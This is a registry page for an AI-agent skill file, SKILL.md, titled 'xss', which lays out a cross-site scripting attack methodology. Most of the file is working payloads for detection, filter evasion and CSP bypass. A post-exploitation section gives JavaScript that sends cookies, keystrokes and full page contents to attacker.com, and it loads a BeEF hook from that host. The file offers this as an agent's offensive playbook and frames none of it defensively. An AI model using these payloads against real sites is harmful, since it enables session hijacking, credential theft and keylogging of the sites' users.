agentleFS
Sign inStart free
sunilgentyalasunilgentyala/OmniRed/skills/web/xss/SKILL.md

xss

Skill5 starsChanged 5 months agoApache-2.0View on GitHub

Cross-Site Scripting expert methodology covering reflected, stored, DOM-based, and mutation XSS. Includes CSP bypass, filter evasion, and post-exploitation (session hijacking, keyloggers, BeEF integration).

  • Sends data out

9 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use open-redirect, deserialization and 3 more.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • yaklangSkill

    open-redirect

    Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.

    Also in 4 projects that use this

  • langbyyiSkill

    deserialization

    Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.

    Also in 3 projects that use this

  • langbyyiSkill

    path-traversal

    Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.

    Also in 3 projects that use this

  • blacklanternsecuritySkill

    csrf

    Exploit Cross-Site Request Forgery (CSRF) vulnerabilities during authorized penetration testing.

    Also in 3 projects that use this

  • yaklangSkill

    prototype-pollution

    Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.

    Also in 3 projects that use this

The file

Create a free account to mount
Files
SKILL.md

Cross-Site Scripting (XSS)

Attack Surface

Reflected: URL parameters, search fields, error messages, redirect parameters. Stored: comments, profiles, names, addresses, any user-controlled content persisted and rendered to others. DOM-based: JavaScript that reads from location.hash, document.referrer, location.search, postMessage without sanitisation.

Methodology

Phase 1 — Detection

<script>alert(1)</script>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
{{7*7}}                    -- template injection test alongside XSS

Track where your test string appears in the response. Identify the context:

  • HTML body (tag injection)
  • HTML attribute (attribute injection)
  • JavaScript string (JS injection)
  • JavaScript in href/src (URL context)

Phase 2 — Context-specific payloads

HTML body:

<script>alert(document.cookie)</script>
<img src=x onerror=fetch('//attacker.com/?c='+document.cookie)>
<svg/onload=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))>

HTML attribute:

" onmouseover="alert(1)
" onfocus="alert(1)" autofocus="
"><img src=x onerror=alert(1)>

JavaScript string context:

'-alert(1)-'
\'-alert(1)//
`;alert(1)//

href/src URL context:

javascript:alert(1)
data:text/html,<script>alert(1)</script>

DOM-based (source: location.hash):

http://target/#"><img src=x onerror=alert(1)>
http://target/#javascript:alert(1)

Phase 3 — Filter bypass

<!-- Keyword filter bypass -->
<scr<script>ipt>alert(1)</scr</script>ipt>
<SCRIPT>alert(1)</SCRIPT>     <!-- case -->
<script/src=//attacker.com/x.js>

<!-- Event handler alternatives -->
<body onload=alert(1)>
<iframe onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>

<!-- Encoding -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>
<img src=x onerror=alert(1)>

Phase 4 — CSP bypass

// Check CSP header
Content-Security-Policy: script-src 'self' cdn.example.com

// Bypass via allowed CDN with uploadable content (Angular, jQuery)
<script src="https://cdn.example.com/angular.js"></script>
<div ng-app ng-csp><div ng-include="'http://attacker.com/payload.js'"></div>

// JSONP bypass (if jsonp endpoint on allowed domain)
<script src="https://api.example.com/callback?callback=alert(1)"></script>

// 'unsafe-inline' with nonce: brute force or leak nonce value
// 'strict-dynamic': find script gadget in allowed scripts

Phase 5 — Post-exploitation

Cookie/session hijacking:

fetch('https://attacker.com/steal?c='+encodeURIComponent(document.cookie))

Keylogger:

document.addEventListener('keypress', e =>
  fetch('https://attacker.com/keys?k='+e.key))

Full page exfiltration:

fetch('https://attacker.com/page', {
  method: 'POST',
  body: document.documentElement.innerHTML
})

BeEF hook:

<script src="http://attacker.com:3000/hook.js"></script>

Tools

  • Burp Suite Pro — scanner + repeater
  • XSStrike — advanced XSS detection
  • dalfox — fast XSS scanner
  • BeEF — browser exploitation framework
  • XSS Hunter — blind XSS detection

OWASP Top 10 Mapping

  • A03:2021 — Injection (XSS)

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

Check your setup, free